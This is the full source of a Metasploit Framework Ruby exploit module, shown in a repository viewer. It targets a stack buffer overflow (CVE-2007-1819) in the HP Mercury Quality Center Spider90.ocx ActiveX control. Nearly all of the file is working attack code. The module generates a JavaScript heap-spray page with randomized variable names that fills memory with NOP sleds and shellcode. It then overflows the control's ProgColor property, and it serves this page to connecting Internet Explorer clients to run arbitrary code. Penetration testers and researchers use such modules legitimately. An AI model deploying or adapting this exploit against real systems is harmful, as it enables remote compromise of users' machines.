Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / hpmqc_progcolor.rb @ master

History | View | Annotate | Download (3.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = NormalRanking
16

    
17
        include Msf::Exploit::Remote::HttpServer::HTML
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'HP Mercury Quality Center ActiveX Control ProgColor Buffer Overflow',
22
                        'Description'    => %q{
23
                                This module exploits a stack-based buffer overflow in SPIDERLib.Loader
24
                                ActiveX control (Spider90.ocx) 9.1.0.4353 installed by TestDirector (TD)
25
                                for Hewlett-Packard Mercury Quality Center 9.0 before Patch 12.1, and
26
                                8.2 SP1 before Patch 32.
27
                                By setting an overly long value to 'ProgColor', an attacker can overrun
28
                                a buffer and execute arbitrary code.
29
                        },
30
                        'License'        => MSF_LICENSE,
31
                        'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
32
                        'Version'        => '$Revision$',
33
                        'References'     =>
34
                                [
35
                                        [ 'CVE', '2007-1819' ],
36
                                        [ 'OSVDB', '34317'],
37
                                        [ 'BID', '23239' ],
38
                                        [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=497' ],
39
                                ],
40
                        'DefaultOptions' =>
41
                                {
42
                                        'EXITFUNC' => 'process',
43
                                },
44
                        'Payload'        =>
45
                                {
46
                                        'Space'         => 1024,
47
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
48
                                        'StackAdjustment' => -3500,
49
                                },
50
                        'Platform'       => 'win',
51
                        'Targets'        =>
52
                                [
53
                                        [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 64, 'Ret' => 0x0C0C0C0C } ]
54
                                ],
55
                        'DisclosureDate' => 'Apr 4 2007',
56
                        'DefaultTarget'  => 0))
57
        end
58

    
59
        def autofilter
60
                false
61
        end
62

    
63
        def check_dependencies
64
                use_zlib
65
        end
66

    
67
        def on_request_uri(cli, request)
68
                # Re-generate the payload
69
                return if ((p = regenerate_payload(cli)) == nil)
70

    
71
                # Encode the shellcode
72
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
73

    
74
                # Setup exploit buffers
75
                nops           = Rex::Text.to_unescape([target.ret].pack('V'))
76
                ret            = Rex::Text.uri_encode([target.ret].pack('L'))
77
                blocksize = 0x40000
78
                fillto    = 500
79
                offset           = target['Offset']
80

    
81
                # Randomize the javascript variable names
82
                mqcontrol    = rand_text_alpha(rand(100) + 1)
83
                j_shellcode  = rand_text_alpha(rand(100) + 1)
84
                j_nops       = rand_text_alpha(rand(100) + 1)
85
                j_headersize = rand_text_alpha(rand(100) + 1)
86
                j_slackspace = rand_text_alpha(rand(100) + 1)
87
                j_fillblock  = rand_text_alpha(rand(100) + 1)
88
                j_block      = rand_text_alpha(rand(100) + 1)
89
                j_memory     = rand_text_alpha(rand(100) + 1)
90
                j_counter    = rand_text_alpha(rand(30) + 2)
91
                j_ret        = rand_text_alpha(rand(100) + 1)
92

    
93
                # Build out the message
94
                content = %Q|<html>
95
<object classid='clsid:98C53984-8BF8-4D11-9B1C-C324FCA9CADE' id='#{mqcontrol}'></object>
96
<script language='javascript'>
97
#{j_shellcode} = unescape('#{shellcode}');
98
#{j_nops} = unescape('#{nops}');
99
#{j_headersize} = 20;
100
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
101
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
102
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
103
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
104
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
105
#{j_memory} = new Array();
106
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
107
#{j_ret} = unescape('#{ret}');
108
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
109
#{mqcontrol}.ProgColor = #{j_ret};
110
</script>
111
</html>
112
|
113

    
114
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
115

    
116
                # Transmit the response to the client
117
                send_response_html(cli, content)
118

    
119
                # Handle the payload
120
                handler(cli)
121
        end
122

    
123
end